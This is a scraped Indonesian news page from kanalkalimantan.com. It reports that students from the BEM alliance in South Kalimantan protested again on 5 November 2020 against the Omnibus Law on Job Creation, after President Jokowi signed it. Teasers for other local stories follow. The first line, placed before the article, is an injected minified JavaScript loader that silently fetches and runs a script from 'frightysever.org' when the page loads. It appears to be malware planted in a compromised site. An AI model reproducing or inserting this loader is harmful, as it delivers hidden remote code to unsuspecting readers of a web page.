(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Categories: HEADLINE

Diteken Jokowi, Mahasiswa Kalsel Kembali Turun ke Jalan Tolak UU Ciptaker


KANALKALIMANTAN.COM, BANJARMASIN – Gelombang unjuk rasa penolakan Undang-Undang (UU) Omnibus Law Cipta Kerja yang sudah diteken Jokowi oleh mahasiswa di Kalimantan Selatan terus dilakukan.

Mahasiswa gabungan Badan Eksekutif Mahasiswa (BEM) se-Kalsel melakukan aksi penolakan UU Omnibus Law Cipta Kerja, Kamis (5/11/2020).

Setelah disahkan DPR RI kemudian resmi diteken oleh Presiden RI, Joko Widodo menjadi UU nomor 11 tahun 2020, BEM se Kalsel menyuarakan penolakan terhadap Omnibus Law UU Cipta Kerja.

Ketua BEM Universitas Lambung Mangkurat Ahdiat Zairullah kepada Kanalkalimantan.com dalam aksi turun ke jalan kali ini kembali menuntut penolakan UU Nomor 11 tahun 2020 Cipta Kerja yang ditandatangani Jokowi Senin (2/11/2020) lalu.

 

Mahasiswa gabungan Badan Eksekutif Mahasiswa (BEM) se-Kalsel melakukan aksi penolakan UU Omnibus Law Cipta Kerja, Kamis (5/11/2020). foto: putra

Sementara itu, Muhammad Padliansyah, Ketua BEM Uniska mengatakan, penolakan Omnibus Law Cipta Kerja yang sudah diteken dari Presiden RI adalah seruan aksi sidang rakyat menanti sikap pemerintah.

“Atas penetapan Undang-Undang yang sudah diteken oleh Presiden RI, secara tegas menyuarakan penolakan Omnibus Law Cipta Kerja, kami (mahasiswa) menanti sikap pemerintah,” jelasnya.

Pantauan Kanalkalimantan.com pukul 10.30 Wita, massa mahasiswa mulai memadati dengan duduk di depan bundaran BI berorasi kajian penolakan Omnibus Law Cipta Kerja.

Sejumlah mahasiswa juga membagikan selebaran kertas kepada masyarakat terkait hasil kajian yang dilakukan oleh BEM se Kalsel. Mahasiswa yang turun berdemo lebih dari 100, salah satu mahasiswa menyampaikan orasi di tengah aksi unjuk rasa.

Sekadar dicatat sejak Oktober lalu, aksi turun ke jalan digelar mahasiswa gabungan sudah dilakukan sebanyak empat kali.

Aksi pertama pada 8 Oktober lalu, kemudian berlanjut pada 15 Oktober dan dua demontrasi terakhir pada 20 Oktober dan 28 Oktober 2020 lalu. (kanalkalimantan.com/putra)

Reporter: putra
Editor: bie


Al Ghifari

Recent Posts

UMP dan UMK Kalimantan Barat 2026 Terendah se-Kalimantan, Cukup untuk Biaya Hidup?

Pemerintah Provinsi Kalimantan Barat secara resmi telah menetapkan besaran Upah Minimum Provinsi (UMP) dan Upah… Read More

1 jam ago

Daftar UMP 2026 Setiap Provinsi Indonesia Lengkap Beserta Kenaikannya!

Pemerintah Pusat telah merilis formula perhitungan UMP 2026 sejak 18 Desember 2025. Adapun tenggat waktu… Read More

1 jam ago

Pemkab Banjar Layani Keperluan Konsumsi Ribuan Warga Terdampak Banjir Lewat Dapur Umum

KANALKALIMANTAN.COM, MARTAPURA - Selain menyerahkan langsung bantuan keperluan masyarakat terdampak banjir Pemerintah Kabupaten Banjar juga… Read More

2 jam ago

Daftar UMP dan UMK Kalimantan Selatan 2026, Cukupkah untuk Biaya Hidup Layak?

Upah Minimum Provinsi (UMP) dan Upah Minimum Kabupaten/Kota (UMK) Kalimantan Selatan 2026 akhirnya secara resmi… Read More

14 jam ago

Rumah Penuh Air, Pak RT Mengungsi ke Rumah Tetangga

KANALKALIMANTAN.COM, MARTAPURA – Banjir yang melanda Desa Gudang Hirang, Kecamatan Sungaitabuk, Kabupaten Banjar menggenangi sejumlah… Read More

15 jam ago

Lonovila Menoreh Surga Tersembunyi di Perbukitan Menoreh

KANALKALIMANTAN.COM, YOGYAKARTA - Ada tempat yang tidak perlu banyak kata untuk membuat orang betah. Begitu… Read More

15 jam ago

This website uses cookies.